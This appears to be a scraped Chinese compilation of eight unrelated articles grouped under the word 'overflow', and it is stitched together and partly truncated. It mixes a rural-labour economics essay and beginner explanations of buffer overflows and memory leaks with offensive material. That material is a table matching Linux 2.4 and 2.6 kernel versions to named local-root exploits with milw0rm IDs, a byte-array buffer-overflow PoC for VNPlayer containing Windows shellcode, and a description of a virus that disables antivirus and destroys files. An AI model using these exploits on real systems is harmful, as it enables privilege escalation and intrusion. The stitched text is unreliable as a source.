溢出

2024-07-01

溢出(精选8篇)

溢出 篇1

2.4.17

local

kmod

2.4.18

brk

brk2

local

kmod

km.2

2.4.19

brk

brk2

local

kmod

km.2

2.4.20

ptrace

kmod

ptrace-kmod

km.2

brk

brk2

2.4.21

km.2

brk

brk2

ptrace

ptrace-kmod

2.4.22

km.2

brk2

brk

ptrace

ptrace-kmod

2.4.22-10

loginx

./loginx

2.4.23

mremap_pte

2.4.24

mremap_pte

Uselib24

2.4.25-1

uselib24

2.4.27

Uselib24

2.6.0

REDHAT 6.2

REDHAT 6.2 (zoot)

SUSE 6.3

SUSE 6.4

REDHAT 6.2 (zoot)

all top from rpm

-------------------------

FreeBSD 3.4-STABLE from port

FreeBSD 3.4-STABLE from packages

freeBSD 3.4-RELEASE from port

freeBSD 4.0-RELEASE from packages

----------------------------

all with wuftpd 2.6.0;

=

wuftpd

h00lyshit

2.6.2

mremap_pte

krad

h00lyshit

2.6.5 to 2.6.10

krad

krad2

h00lyshit

2.6.8-5

krad2

./krad x

x = 1..9

h00lyshit

2.6.9-34

r00t

h00lyshit

2.6.13-17

prctl

h00lyshit

-------------------

2.4.17 ->local, kmod, uselib24

2.4.18 ->brk, brk2, local, kmod

2.4.19 ->brk, brk2, local, kmod

2.4.20 ->ptrace, kmod, ptrace-kmod, brk, brk2

2.4.21 ->brk, brk2, ptrace, ptrace-kmod

2.4.22 ->brk, brk2, ptrace, ptrace-kmod

2.4.22-10 ->loginx

2.4.23 ->mremap_pte

2.4.24 ->mremap_pte, uselib24

2.4.25-1 ->uselib24

2.4.27 ->uselib24

2.6.2 ->mremap_pte, krad, h00lyshit

2.6.5 ->krad, krad2, h00lyshit

2.6.6 ->krad, krad2, h00lyshit

2.6.7 ->krad, krad2, h00lyshit

2.6.8 ->krad, krad2, h00lyshit

2.6.8-5 ->krad2, h00lyshit

2.6.9 ->krad, krad2, h00lyshit

2.6.9-34 ->r00t, h00lyshit

2.6.10 ->krad, krad2, h00lyshit

2.6.13 ->raptor, raptor2, h0llyshit, prctl

2.6.14 ->raptor, raptor2, h0llyshit, prctl

2.6.15 ->raptor, raptor2, h0llyshit, prctl

2.6.16 ->raptor, raptor2, h0llyshit, prctl

-----------------------------------------------------

Linux

Common

Linux 2.2.x ->Linux kernel ptrace/kmod local root exploit (milw0rm.com/exploits/3)

Linux 2.2.x (on exported files, should be vuln) (milw0rm.com/exploits/718)

Linux <= 2.2.25 ->Linux Kernel 2.x mremap missing do_munmap Exploit (milw0rm.com/exploits/160)

Linux 2.4.x ->Linux kernel ptrace/kmod local root exploit (milw0rm.com/exploits/3)

Linux 2.4.x ->pwned.c - Linux 2.4 and 2.6 sys_uselib local root exploit (milw0rm.com/exploits/895)

Linux 2.4.x ->Linux kernel 2.4 uselib privilege elevation exploit (milw0rm.com/exploits/778)

Linux 2.4.20 ->Linux Kernel Module Loader Local R00t Exploit (milw0rm.com/exploits/12)

Linux <= 2.4.22 ->Linux Kernel <= 2.4.22 (do_brk) Local Root Exploit (milw0rm.com/exploits/131)

Linux 2.4.22 ->Linux Kernel 2.4.22 “do_brk” local Root Exploit (PoC) (milw0rm.com/exploits/129)

Linux <= 2.4.24 ->Linux Kernel 2.x mremap missing do_munmap Exploit (milw0rm.com/exploits/160)

Linux 2.4.x < 2.4.27-rc3 (on nfs exported files) (milw0rm.com/exploits/718)

Linux <= 2.6.2 ->Linux Kernel 2.x mremap missing do_munmap Exploit (milw0rm.com/exploits/160)

Linux 2.6.11 ->Linux Kernel <= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c) (milw0rm.com/exploits/1397)

Linux 2.6.13 <= 2.6.17.4 ->Linux Kernel 2.6.13 <= 2.6.17.4 prctl Local Root Exploit (logrotate) (milw0rm.com/exploits/2031)

Linux 2.6.13 <= 2.6.17.4 ->Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl Local Root Exploit (milw0rm.com/exploits/2011)

Linux 2.6.11 <= 2.6.17.4 ->h00lyshit.c -Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit (milw0rm.com/exploits/2013)

Linux 2.6.x < 2.6.7-rc3 (default configuration) (

溢出 篇2

随着户籍等就业制度的松动, 中国农业中长期存在的隐蔽失业释放出来的农村剩余劳动力集中涌向大城市, 以致出现了所谓的“民工潮”。在中国经济转型过程中, 农村劳动力向城市的大规模流动早已成为一种不可避免的社会经济现象。而人力资本是以劳动者为载体、不能独立存在的一种生产投入要素, 人力资本投资及流动与劳动者自身素质的提升及流动迁移是不可分的。农村人力资本对城市经济的影响是通过人力资本的溢出效益, 即农村劳动力的转移作用的。

根据古典经济理论、二元经济模型和人力资本理论, 随着劳动力在城乡间的重新配置, 要素报酬会趋向均等化;农业剩余劳动力向城市转移, 在解决失业、增加微观经济主体收入的同时, 城市利益向乡村渗透, 从而城乡经济最终将走向平衡发展, 城乡差距将逐步缩小。我们具体来看一下我国农村人力资本的外溢状况。

一、农村人力资本外溢现状

我国农村人力资本表现为单向溢出, 即外溢效应表现明显, 内溢效应表现不明显。改革以来, 中国农村人力资本外溢表现出以下几个特点。

1、中国农村人力资本外溢规模逐年稳步扩大

2006年农村户籍外出从业人员已经达到13181万人, 占农村户籍总人口的14.3%。根据张凤兵 (2006) 测算, 中国农村人力资本外溢规模在25年内, 从改革开放初期的1.58亿元猛增到3501.90亿元人民币, 其变化是非常巨大的。90年代以前, 农村人力资本外溢量的增长速度较快, 但规模相对较小, 而进入90年代, 出现了劳动力转移的高潮, 农村人力资本外溢的增长速度最快时高达207%, 外溢规模巨大, 5年内从1000多亿猛增到2000多亿, 而从2000亿到突破3000亿大关仅用了3年时间。

2、外出劳动力以自发择业为主的态势向有组织的群体性流动转变

改革初期农民进城寻找就业机会多是自发的, 通过亲戚、朋友介绍实现就业;自发、盲目和不均衡流动同时也带来许多问题, 譬如部分交通线路和一些城市基础设施供给压力过大, 社会治理成本高、难度大等。

随着劳动力素质的提高以及农村劳动力要素市场的完善, 特别是最近两年, 人们对流动就业和农民工问题认识的提高, 各级政府特别是经济相对落后的输出地政府对组织劳动力转移和农民工就业越来越重视。农民培训和信息网络的逐步建立等, 使农民外出组织化程度逐步有所提高。我们以河南省为例, 可以看出农村劳动力转移以自发为主的态势正在加以改变:

从转移的绝对数来看, 河南省有组织的转移从2004年的5, 105, 035人增加到2007年的8, 326, 580人, 增加人数为3, 221, 545人, 增加幅度为63.11%。同期, 自发转移的增加人数仅为2, 464, 171人, 增加幅度为26.81%;从两者所占转移劳动力人数比例来看, 2004年, 河南省的农村劳动力有组织转移仅占当年转移人数的36.18%, 2007年, 这一比例急剧上升为42.17%, 这说明农村劳动力从无序、自发转移, 正在形成较为合理、良性的转移。

3、流动劳动力的知识水平和文化素质逐步提升

从劳动力流动的趋势上看我国农村转移劳动力的文化素质在逐步提高。我们还以河南省为例, 转移出去的劳动力主要以初中、小学文化程度为主, 但是, 从近几年的情况来看, 小学文化程度的人数呈下降趋势, 初中以上的呈持续上升态势。从新增的转移人数来看, 河南省转移的劳动力中初中以上文化程度大幅度增加, 从2004年的近83%增加到2007年的89%, 而高中及以上文化程度的人数增加更为迅速, 尤其是2007年, 这一人数为5, 461, 121人, 较之2006年增加1, 191, 388人, 增加幅度为27.9%;同期, 小学及以下文化程度的人数有缩减的趋势, 从2004年的17%下降为2007年的11%, 这说明, 河南省在农村劳动力转移方面正在突破劳动技能偏低的障碍, 实现转移劳动力的高素质化、高技能化。

4、外出劳动力出现了回流现象

全国不同区域都不同程度的出现了劳动力回流的现象, 但回流的原因是多重的, 依次为就业困难、照料家人、生育和抚养、结婚、年龄原因及伤病, 以回乡投资为目的者寥寥无几。

据河南调查总队调查, 至2008年6月底, 全省4200个农户中有在外劳动力2389人, 比上年同期的2484人减少95人, 同比减少3.8%。外出农村劳动力回流的原因主要有以下几点。

第一, 土地增收吸引农民工回流。近年来, 国家扶持农业的政策不断出台, 粮食补贴、粮种补贴、畜禽补贴、大型农机具购置补贴等一系列支农惠农政策的落实, 使农民又从农业生产中看到了希望。

第二, 产业转移引起农民工回流。据调查, 至2008年6月底, 从事第二产业尤其第二产业中建筑业的农民外出务工者减少都在10%以上。原因一是受国内材料涨价、员工工资上涨, 以及诸多限制政策的出台等因素影响, 相关劳动密集型行业纷纷退出中国, 转投东南亚其他国家, 而需要高素质的劳动力的行业, 农民工又干不了, 这也是导致农民工回流的一个因素。二是从事建筑业的外出农民工, 受工期影响缺乏稳定性。今年以来, 受宏观调控政策等因素影响, 各大城市房地产市场萧条, 项目工程相对减少。当一项工程结束, 又没有新的工程可以承接, 外出农民工只有返乡赋闲或务农。据对150个回流农民工的调查, 因打工地工厂倒闭或转产致使民工回流, 占调查回流人员的23%, 居第二位。

第三, 待遇低下引起的农民工回流。回流农民工大多数都是在外从事建筑等低端产业或岗位的, 劳动强度大, 技术含量低, 收入也偏低, 一般月工资都在1200元左右。调查结果显示, 在调查的150个回流农民工中, 只有9人交纳有社会保险, 占调查人数6%。说明农民工合法权益还没有完全得到保障。据调查, 因劳动强度大、收入低, 致使农民工回流的有25人, 占150名调查返乡人数的17%, 居第三位。

可以看出, 由于政府扶持农业的政策不断出台, 农业经营政策得到不断的优化, 农村的生活和生产条件大为改善, 粮食价格的大幅度上涨和粮食产量的增加, 也使农民收入有了较大幅度的增长, 许多外出务工者开始回流到本地就业。这一现象说明, 并非没有可能减少农村的人力资本投资损失, 只要保证农村一定的基础条件和就业环境, 就有可能减少农村人力资本的外溢和降低农村人力资本的投资风险。

二、农村人力资本溢出的实质———单向溢出

1、城市人力资本的内溢

我国城市人力资本投资及所形成的人力资本存量的溢出效应, 更多地表现在城市区域的内溢性上。城市中存在较好的人力资本发挥作用的条件, 人力资本在城市中能得到较高的收益, 城市中形成的人力资本往往会在城市发挥作用, 即内化于城市自身;而农村由于人力资本充分发挥作用的条件不具备, 加上“歧视农村”观念的影响, 城市资源很难向农村流动, 制约了城市人力资本向农村的溢出。

进一步讲, 政府和城市市民在城市进行的人力资本投资及由此所形成的人力资本只能在城市内溢并发挥效用, 而对农村发展则难以形成有效支持。

2、农村人力资本较难形成对农村经济发展的支持, 向城市外溢

农村所形成的人力资本表现为强烈的对城市的外溢效应。具体表现为, 就个体而言, 具有较高素质的人力资本向城市流动。我国巨大的城乡收入差距、城市潜在的个人发展机会和良好的公共设施和环境, 这些都是吸引农村劳动力向城市转移的重要诱因, 即城市中存在人力资本充分发挥作用的条件。

在改革开放后城乡隔离的户籍制及由此决定的就业制度有所放松的情况下, 农村青年除了通过考学跳农门外, 还可以到城里打工。就是说, 农村所形成的人力资本往往形不成对农村经济发展的支持, 而是通过各种方式进入城市, 支持城市的发展。城市工业发展需要的劳动力要具备一定的知识和技能, 首先从农村流出去的劳动力必定是那些有相对较强竞争力、受过一定教育并掌握相应技能的青壮年, 即具有较高人力资本存量的农业劳动力。而许多地区留在农村的劳动力只是老、少、妇女、多病者。这些人留在农村, 不可能对农村经济发展形成支持。农村人力资本的外溢效应更多地表现在对城市社会经济发展的支持上。正是由于这种巨大的外溢效应, 使得农村人力资本的溢出效应很难具有农村区域内的内溢性特征。农村高素质劳动力的外流, 必然会造成农村人力资本投资的损失, 长此以往, 必然会导致农村的人力资本投资激励不足, 城市发展受益而农村发展受损。

在中国的二元结构下, 劳动力流动没有带来古典理论所预期的收入均等化, 反而导致了城乡发展差距的拉大, 其重要原因就是中国城乡不同的人力资本溢出效应, 带来农村人力资本积累的恶性循环, 从农村走出去的是有较高人力资本存量的青壮年, 留下的是老弱病残, 使得农田荒芜, 农村“空心化”, 农业生产受损, 城乡差距扩大加速。

三、优化农村经济发展环境, 增加农村人力资本的内溢效应

1、优化农村经济发展软环境

我国农村由于缺乏人力资本充分发挥作用的条件, 所以出现了农村人力资本外溢, 造成农村人力资本的损失, 这要求我们优化农村经济发展环境, 为农村人力资本的发展提供优良的环境, 以增加人力资本的内溢。

(1) 建立现代农村金融制度。首先要放宽农村金融准入政策, 加快建立商业性金融、合作性金融、政策性金融相结合, 资本充足、功能健全、服务完善、运行安全的农村金融体系。其次, 农业发展银行支农领域, 加大政策性金融对农业开发和农村基础设施建设中长期信贷支持。规范发展多种形式的新型农村金融机构和以服务农村为主的地区性中小银行。再次, 允许农村小型金融组织从金融机构融入资金。允许有条件的农民专业合作社开展信用合作。加快农村信用体系建设。建立政府扶持、多方参与、市场运作的农村信贷担保机制。扩大农村有效担保物范围。

(2) 完善农村信息性公共服务体系。一是建立新农村信息服务平台。搭建农村科技信息服务体系平台, 为农民提供各种急需的科技咨询与市场信息、政府信息、气象信息服务。二是建立农业专家下农村服务制度。三是发挥农村各种专业协会的作用, 开展农业科技研究。

(3) 实行农业扶持政策。一是要建立完善农产品生产、流通补贴机制。对战略物资如粮棉生产制定补贴措施, 对农产品流通要在交通、税收等方面给予暗补。二是加大农业科技创新的投入力度。对农业基础研究、新品种开发、新技术推广要加大投入力度, 不能一刀切推向市场。三是加大农业信贷支持力度。首先要扭转农业资金工业用的问题, 对农产品规模化生产、加工、流通信贷要给予优先放贷和政策贴息。

2、优化农村经济发展的硬环境

农村要留住人才、吸引人才, 仅仅加强农村发展的软环境建设是不够的, 在搞好软环境建设的同时, 还要辅之以必要的基础设施投资。

(1) 加强农田水利等基础设施建设。目前, 农户分散经营行为的短期性和实际存在的土地承包期的不稳定性, 使得农户投资农田基础设施的风险过大, 并且资金的限制也使得单个农户也难以独立承受。要加快农业发展, 就必须完善农田水利设施建设, 加大国家和农村集体的农业基础设施投资, 为农村劳动者提供良好的经营环境。

(2) 加大对农村的公共设施投资。中国农村非农产业发展迅速, 并逐渐成为农民就业和收入的主要来源。农村产业结构中传统农业比重的降低和非农产业比重的上升, 是农村经济发展的趋势, 也是农村经济发展的表现。非农产业的发展需要相应的道路、电力、通讯等公共设施投资作保障。否则, 非农产业的发展必然受到基础条件的制约, 难以吸引投资, 农村劳动者难以在农村找到就业机会, 必然造成农村人力资本的外流, 增大农村人力资本投资风险, 带来农村人力资本积累的恶性循环, 从而导致城乡差距的恶化和农村经济发展后劲不足。

参考文献

[1]霍丽、惠宁:城乡人力资本的溢出效应研究[J].福建论坛, 2008 (6) .

[2]张凤兵:中国农村人力资本投资及其外溢与城乡差距实证研究[J].山东大学硕士论文, 2007.

[3]侯风云、徐慧:城乡发展差距的人力资本解释[J].理论学刊, 2004 (2) .

[4]李伯兴:农村公共服务体系存在的问题与建设思考[J].中国改革论坛, 2007 (6) .

浅谈溢出漏洞 篇3

溢出的原理

如果用一个木桶来装水,装满以后水就会流出来。同样的道理,在计算机内部中输入的数据,通常被存放在一个临时空间内,这个临时存放空间就称为Windows系统的“缓冲区”,缓冲区的长度事先已经被程序或者操作系统定义好了。缓冲区就很像那个木桶,用来装东西而且大小已经被固定。

如果向缓冲区内填充数据的长度很长,超过了缓冲区本身的容量,那么结果就如同水流—样,数据也会溢出存储的空间内部。装不下的水会流到地面上,而装不下的数据则会覆盖在合法数据上,这就是“缓冲区溢出”。理想的情况下,程序检查每个数据的长度,并目不允许超过缓冲区的长度。但有些程序会假设,数据长度总是与所分配的存储空间相匹配,因此不作检查,从而为缓冲区溢出埋下隐患。

溢出的数据会覆盖掉系统中任何的数据、指针或内容表面看上去除了数据破坏之外,并不会有其他的实际作用。但是黑客往往可以在溢出的数据中加入指令,如果这些指令被溢出到内存中的执行区域(核心区),那么计算机就会执行溢出部分的任何命令。

溢出攻击的基本模式

溢出攻击主要分为远程溢出和本地溢出两种。“本地溢出”造成的后果就是,普通的用户可以利用漏洞,进行账户权限的提升以获得更多的操作权限。而远程溢出的后果则是被黑客远程控制。所以说远程溢出攻击的危害要比本地溢出高许多。

前面提到要进行溢出攻击,需要精心构造一段数据,而该数据通常称之为ShellCode,它实际上就是一组可以完成黑客想要获得的功能的机器代码。这些代码通常都是以十六进制的数组形式存在的。最常见的ShellCode执行结果,就是打开一个远程的命令提示符窗口。然后黑客就可以在该窗口里面,通过FTP、TftP等命令上传木马程序并执行,最终达到远程控制该计算机的目的。

溢出攻击是当前最流行的一种攻击手段,因为这种方法不但可以对个人电脑进行攻击,还可以对某些服务器进行攻击。除此以外,溢出攻击在操作使用上也非常简单,任何人只需要利用黑客编写的攻击程序,就可以轻易获得一台计算机系统的控制权限,这也是溢出攻击泛滥的原因。

溢出攻击的防范

最简单最有效的方法当然是第一时间安装漏洞的安全补丁。如果一用户不方便补丁安装,也可以使用金山清理专家、360安全卫士、第三方软件来修复漏洞。另外,防火墙也相当重要。必须定期对开放端口和程序进行排查。

病毒急救站

病毒名称:图片杀手

病毒类型:数据破坏类病毒

病毒目的:破坏系统设置,感染程序图片

病人:弹出色情王爷信息

今天帮助一个朋友检测系统,发现当连接到互联网以后,浏览器会自动打开大量的色情网页。除此之外我还发现,系统中所有的图片都被病毒破坏,而且除C盘之外其他磁盘的程序也被感染。请问这是“磁碟机”病毒重生还是新的病毒啊?

病毒:弹出广告来刷流量

其实我并不喜欢别人叫我“病毒”,因为我的目的是弹广告来刷流量。不过为了更好地“工作”,我还是进行了很多的破坏性操作。比如首先通过检查窗口,如果窗口名称与其列表中的安全软件名称同名,则发送消息来关闭该程序的窗口,这样会令杀毒软件不能正常工作,接着修改注册表中的信息,从而破坏系统的安全模式。

当我加载成功以后会遍历并修改除C盘之外的其他驱动器存在的图片文件。然后我会尝试改写除C盘之外,其他磁盘分区内的所有EXE文件,将文件头部重新写为病毒的数据,这样虽有的可执行文件就被破坏。另,我还会搜索后缀为GHO的文件,如果发现这些文件就将它们删除。这样用户想通过Ghost程序来还愿系统也就不可能了。

当做完上面的这些操作以后,我就会调用系统默认的网页浏览器,自动连接到设置的色情网站。这样随着网站访问量的增加,我的主人的收入也会随之增加。

医生:数据破坏病毒再现

VNPlayer缓冲区溢出 篇4

poc文件的内容:

0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x42, 0x6C,

0x6F, 0x63, 0x6B, 0x3D, 0x20, 0x46, 0x69, 0x6E,

0x69, 0x73, 0x68, 0x20, 0x42, 0x6C, 0x6F, 0x63,

0x6B, 0x3D, 0x5B, 0x4D, 0x6F, 0x6E, 0x6B, 0x65,

0x79, 0x27, 0x73, 0x20, 0x41, 0x75, 0x64, 0x69,

0x6F, 0x20, 0x49, 0x6D, 0x61, 0x67, 0x65, 0x20,

0x4C, 0x69, 0x6E, 0x6B, 0x20, 0x46, 0x69, 0x6C,

0x65, 0x5D, 0x49, 0x6D, 0x61, 0x67, 0x65, 0x20,

0x46, 0x69, 0x6C, 0x65, 0x3D, 0x5C, 0x41, 0x41,

0x41, 0x41, 0x7E, 0x46, 0x41, 0x41, 0x41, 0x7E,

0x4B, 0x41, 0x41, 0x41, 0x7E, 0x50, 0x41, 0x41,

0x41, 0x7E, 0x55, 0x41, 0x41, 0x41, 0x7E, 0x5A,

0x41, 0x41, 0x41, 0x7E, 0x35, 0x41, 0x41, 0x41,

0x7E, 0x30, 0x41, 0x41, 0x41, 0x7E, 0x25, 0x41,

0x41, 0x41, 0x7E, 0x29, 0x41, 0x41, 0x41, 0x7E,

0x43, 0x42, 0x41, 0x41, 0x7E, 0x48, 0x42, 0x41,

0x41, 0x7E, 0x4D, 0x42, 0x41, 0x41, 0x7E, 0x52,

0x42, 0x41, 0x41, 0x7E, 0x57, 0x42, 0x41, 0x41,

0x7E, 0x32, 0x42, 0x41, 0x41, 0x7E, 0x37, 0x42,

0x41, 0x41, 0x7E, 0x40, 0x42, 0x41, 0x41, 0x7E,

0x26, 0x42, 0x41, 0x41, 0x7E, 0x2B, 0x42, 0x41,

0x41, 0x7E, 0x45, 0x43, 0x41, 0x41, 0x7E, 0x4A,

0x43, 0x41, 0x41, 0x7E, 0x4F, 0x43, 0x41, 0x41,

0x7E, 0x54, 0x43, 0x41, 0x41, 0x7E, 0x59, 0x43,

0x41, 0x41, 0x7E, 0x34, 0x43, 0x41, 0x41, 0x7E,

0x39, 0x43, 0x41, 0x41, 0x7E, 0x24, 0x43, 0x41,

0x41, 0x7E, 0x28, 0x43, 0x41, 0x41, 0x7E, 0x42,

0x44, 0x41, 0x41, 0x7E, 0x47, 0x44, 0x41, 0x41,

0x7E, 0x4C, 0x44, 0x41, 0x41, 0x7E, 0x51, 0x44,

0x41, 0x41, 0x7E, 0x56, 0x44, 0x41, 0x41, 0x7E,

0x31, 0x44, 0x41, 0x41, 0x7E, 0x36, 0x44, 0x41,

0x41, 0x7E, 0x21, 0x44, 0x41, 0x41, 0x7E, 0x5E,

0x44, 0x41, 0x41, 0x7E, 0x5F, 0x44, 0x41, 0x41,

0x7E, 0x44, 0x45, 0x41, 0x41, 0x7E, 0x49, 0x45,

0x41, 0x41, 0x7E, 0x4E, 0x45, 0x41, 0x41, 0x7E,

0x53, 0x45, 0x41, 0x41, 0x7E, 0x58, 0x45, 0x41,

0x41, 0x7E, 0x33, 0x45, 0x41, 0x41, 0x7E, 0x38,

0x45, 0x41, 0x41, 0x7E, 0x23, 0x45, 0x41, 0x41,

0x7E, 0x2A, 0x45, 0x41, 0x41, 0x7E, 0x41, 0x46,

0x41, 0x41, 0x7E, 0x46, 0x46, 0x41, 0x41, 0x7E,

0x4B, 0x46, 0x41, 0x41, 0x7E, 0x50, 0x46, 0x41,

0x41, 0x7E, 0x55, 0x46, 0x41, 0x41, 0x7E, 0x5A,

0x46, 0x41, 0x41, 0x7E, 0x35, 0x46, 0x41, 0x41,

0x7E, 0x30, 0x46, 0x41, 0x41, 0x7E, 0x25, 0x46,

0x41, 0x41, 0x7E, 0x29, 0x46, 0x41, 0x41, 0x7E,

0x43, 0x47, 0x41, 0x41, 0x7E, 0x48, 0x47, 0x41,

0x41, 0x7E, 0x4D, 0x47, 0x41, 0x41, 0x7E, 0x52,

0x47, 0x41, 0x41, 0x7E, 0x57, 0x47, 0x41, 0x41,

0x7E, 0x32, 0x47, 0x41, 0x41, 0x7E, 0x37, 0x47,

0x41, 0x41, 0x7E, 0x40, 0x47, 0x41, 0x41, 0x7E,

0x26, 0x47, 0x41, 0x41, 0x7E, 0x2B, 0x47, 0x41,

0x41, 0x7E, 0x45, 0x48, 0x41, 0x41, 0x7E, 0x4A,

0x48, 0x41, 0x41, 0x7E, 0x4F, 0x48, 0x41, 0x41,

0x7E, 0x54, 0x48, 0x41, 0x41, 0x7E, 0x59, 0x48,

0x41, 0x41, 0x7E, 0x34, 0x48, 0x41, 0x41, 0x7E,

0x39, 0x48, 0x41, 0x41, 0x7E, 0x24, 0x48, 0x41,

0x41, 0x7E, 0x28, 0x48, 0x41, 0x41, 0x7E, 0x42,

0x49, 0x41, 0x41, 0x7E, 0x47, 0x49, 0x41, 0x41,

0x7E, 0x4C, 0x49, 0x41, 0x41, 0x7E, 0x51, 0x49,

0x41, 0x41, 0x7E, 0x56, 0x49, 0x41, 0x41, 0x7E,

0x31, 0x49, 0x41, 0x41, 0x7E, 0x36, 0x49, 0x41,

0x41, 0x7E, 0x21, 0x49, 0x41, 0x41, 0x7E, 0x5E,

0x49, 0x41, 0x41, 0x7E, 0x5F, 0x49, 0x41, 0x41,

0x7E, 0x44, 0x4A, 0x41, 0x41, 0x7E, 0x49, 0x4A,

0x41, 0x41, 0x7E, 0x4E, 0x4A, 0x41, 0x41, 0x7E,

0x53, 0x4A, 0x41, 0x41, 0x7E, 0x58, 0x4A, 0x41,

0x41, 0x7E, 0x33, 0x4A, 0x41, 0x41, 0x7E, 0x38,

0x4A, 0x41, 0x41, 0x7E, 0x23, 0x4A, 0x41, 0x41,

0x7E, 0x2A, 0x4A, 0x41, 0x41, 0x7E, 0x41, 0x4B,

0x41, 0x41, 0x7E, 0x46, 0x4B, 0x41, 0x41, 0x7E,

0x4B, 0x4B, 0x41, 0x41, 0x7E, 0x50, 0x4B, 0x41,

0x41, 0x7E, 0x55, 0x4B, 0x41, 0x41, 0x7E, 0x5A,

0x4B, 0x41, 0x41, 0x7E, 0x35, 0x4B, 0x41, 0x41,

0x7E, 0x30, 0x4B, 0x41, 0x41, 0x7E, 0x25, 0x4B,

0x41, 0x41, 0x7E, 0x29, 0x4B, 0x41, 0x41, 0x7E,

0x43, 0x4C, 0x41, 0x41, 0x7E, 0x48, 0x4C, 0x41,

0x41, 0x7E, 0x4D, 0x4C, 0x41, 0x41, 0x7E, 0x52,

0x4C, 0x41, 0x41, 0x7E, 0x57, 0x4C, 0x41, 0x41,

0x7E, 0x32, 0x4C, 0x41, 0x41, 0x7E, 0x37, 0x4C,

0x41, 0x41, 0x7E, 0x40, 0x4C, 0x41, 0x41, 0x7E,

0x26, 0x4C, 0x41, 0x41, 0x7E, 0x2B, 0x4C, 0x41,

0x41, 0x7E, 0x45, 0x4D, 0x41, 0x41, 0x7E, 0x4A,

0x4D, 0x41, 0x41, 0x7E, 0x4F, 0x4D, 0x41, 0x41,

0x7E, 0x54, 0x4D, 0x41, 0x41, 0x7E, 0x59, 0x4D,

0x41, 0x41, 0x7E, 0x34, 0x4D, 0x41, 0x41, 0x7E,

0x39, 0x4D, 0x41, 0x41, 0x7E, 0x24, 0x4D, 0x41,

0x41, 0x7E, 0x28, 0x4D, 0x41, 0x41, 0x7E, 0x42,

0x4E, 0x41, 0x41, 0x7E, 0x47, 0x4E, 0x41, 0x41,

0x7E, 0x4C, 0x4E, 0x41, 0x41, 0x7E, 0x51, 0x4E,

0x41, 0x41, 0x7E, 0x56, 0x4E, 0x41, 0x41, 0x7E,

0x31, 0x4E, 0x41, 0x41, 0x7E, 0x36, 0x4E, 0x41,

0x41, 0x7E, 0x21, 0x4E, 0x41, 0x41, 0x7E, 0x5E,

0x4E, 0x41, 0x41, 0x7E, 0x5F, 0x4E, 0x41, 0x41,

0x7E, 0x44, 0x4F, 0x41, 0x41, 0x7E, 0x49, 0x4F,

0x41, 0x41, 0x7E, 0x4E, 0x4F, 0x41, 0x41, 0x7E,

0x53, 0x4F, 0x41, 0x41, 0x7E, 0x58, 0x4F, 0x41,

0x41, 0x7E, 0x33, 0x4F, 0x41, 0x41, 0x7E, 0x38,

0x4F, 0x41, 0x41, 0x7E, 0x23, 0x4F, 0x41, 0x41,

0x7E, 0x2A, 0x4F, 0x41, 0x41, 0x7E, 0x41, 0x50,

0x41, 0x41, 0x7E, 0x46, 0x50, 0x41, 0x41, 0x7E,

0x4B, 0x50, 0x41, 0x41, 0x7E, 0x50, 0x50, 0x41,

0x41, 0x7E, 0x55, 0x50, 0x41, 0x41, 0x7E, 0x5A,

0x50, 0x41, 0x41, 0x7E, 0x35, 0x50, 0x41, 0x41,

0x7E, 0x30, 0x50, 0x41, 0x41, 0x7E, 0x25, 0x50,

0x41, 0x41, 0x7E, 0x29, 0x50, 0x41, 0x41, 0x7E,

0x43, 0x51, 0x41, 0x41, 0x7E, 0x48, 0x51, 0x41,

0x41, 0x7E, 0x4D, 0x51, 0x41, 0x41, 0x7E, 0x52,

0x51, 0x12, 0x45, 0xFA, 0x7F, 0x51, 0x41, 0x41,

0x7E, 0x32, 0x51, 0x41, 0x41, 0x31, 0xD2, 0x52,

0x68, 0x63, 0x61, 0x6C, 0x63, 0x89, 0xE6, 0x52,

0x56, 0x64, 0x8B, 0x72, 0x30, 0x8B, 0x76, 0x0C,

0x8B, 0x76, 0x0C, 0xAD, 0x8B, 0x30, 0x8B, 0x7E,

0x18, 0x8B, 0x5F, 0x3C, 0x8B, 0x5C, 0x1F, 0x78,

0x8B, 0x74, 0x1F, 0x20, 0x01, 0xFE, 0x8B, 0x4C,

0x1F, 0x24, 0x01, 0xF9, 0x42, 0xAD, 0x81, 0x3C,

0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xF5, 0x0F,

0xB7, 0x54, 0x51, 0xFE, 0x8B, 0x74, 0x1F, 0x1C,

0x01, 0xFE, 0x03, 0x3C, 0x96, 0xFF, 0xD7, 0xCC

拖拽poc文件到可执行程序

内存溢出和内存泄漏是什么 篇5

内存溢出就是你要求分配的内存超出了系统能给你的,系统不能满足需求,于是产生溢出。 为了便于理解我们可以有个形象的比喻就是“操作系统可提供给所有进程的存储空间正在被某个进程榨干”,最终结果是程序运行时间越长,占用存储空间越来越多,最终用尽全部存储空间,整个系统崩溃。所以“内存泄漏”是从操作系统的角度来看的。这里的存储空间并不是指物理内存,而是指虚拟内存大小,这个虚拟内存大小取决于磁盘交换区设定的大小。由程序申请的一块内存,如果没有任何一个指针指向它,那么这块内存就泄漏了。

缓冲区溢出原理之白话草稿 篇6

毕竟我也是觉得惶恐的.没有什么任何听不懂的地方,只要你能坚持看完本文,

则会初步的理解缓冲区溢出的概念.

关于缓冲区溢出,自然要从”缓冲区“说起.则,何为”缓冲区“,

学习过C语言的人应该知道,当程序即将运行时,

会检查该程序将会使用到的变量,并且为该变量在内存中”划“出(或者用”登记“比较合适)

一段来,用于存贮该变量的数据.而被分出的内存区域大小则和程序代码的变量长度一样.

例如,定义某变量为8个字符,则该被分配内存大小也为8.

什么是变量,且听下面的例子(或许不是很准确):

例如,你要计算一个长方形的面积,可以根据数学公式:

长*宽=面积,

得出.

倘若一个长方形长为20,宽为10,用程序表示出来或许应该如下:

(下面的程序我想用任何编译器都编译不出,用脑袋或许可以)

行1 l=20

行2 h=10

行3 s=l*h

现在让我们解读一下该”程序“

其中,我们用”l“表示”长方形的长“,并且赋值为”20“,行1;

其中,用”h“代表”长方形的宽“,赋值为”10“,行2;

其中,用”s“表示”长方形的面积“,值为”l*h“,

白话则是用”l“乘”h“得出面积,行3,这也恰恰应用到了数学的公式.

问题也就随之出现,上面的程序显然是有很大的弊病的.因为--它仅仅可以计算一个长方形的面积,世界上那么多长方形,要如何计算?!难道要为每个长方形都写一个程序么?

然而事情看样子总是有转机的,变量也就随之出现了,当有了变量,我们就可以输入

(通过你的键盘)数据给程序,程序接受后,则会计算出相应的长方形了.

程序或许可以如下:

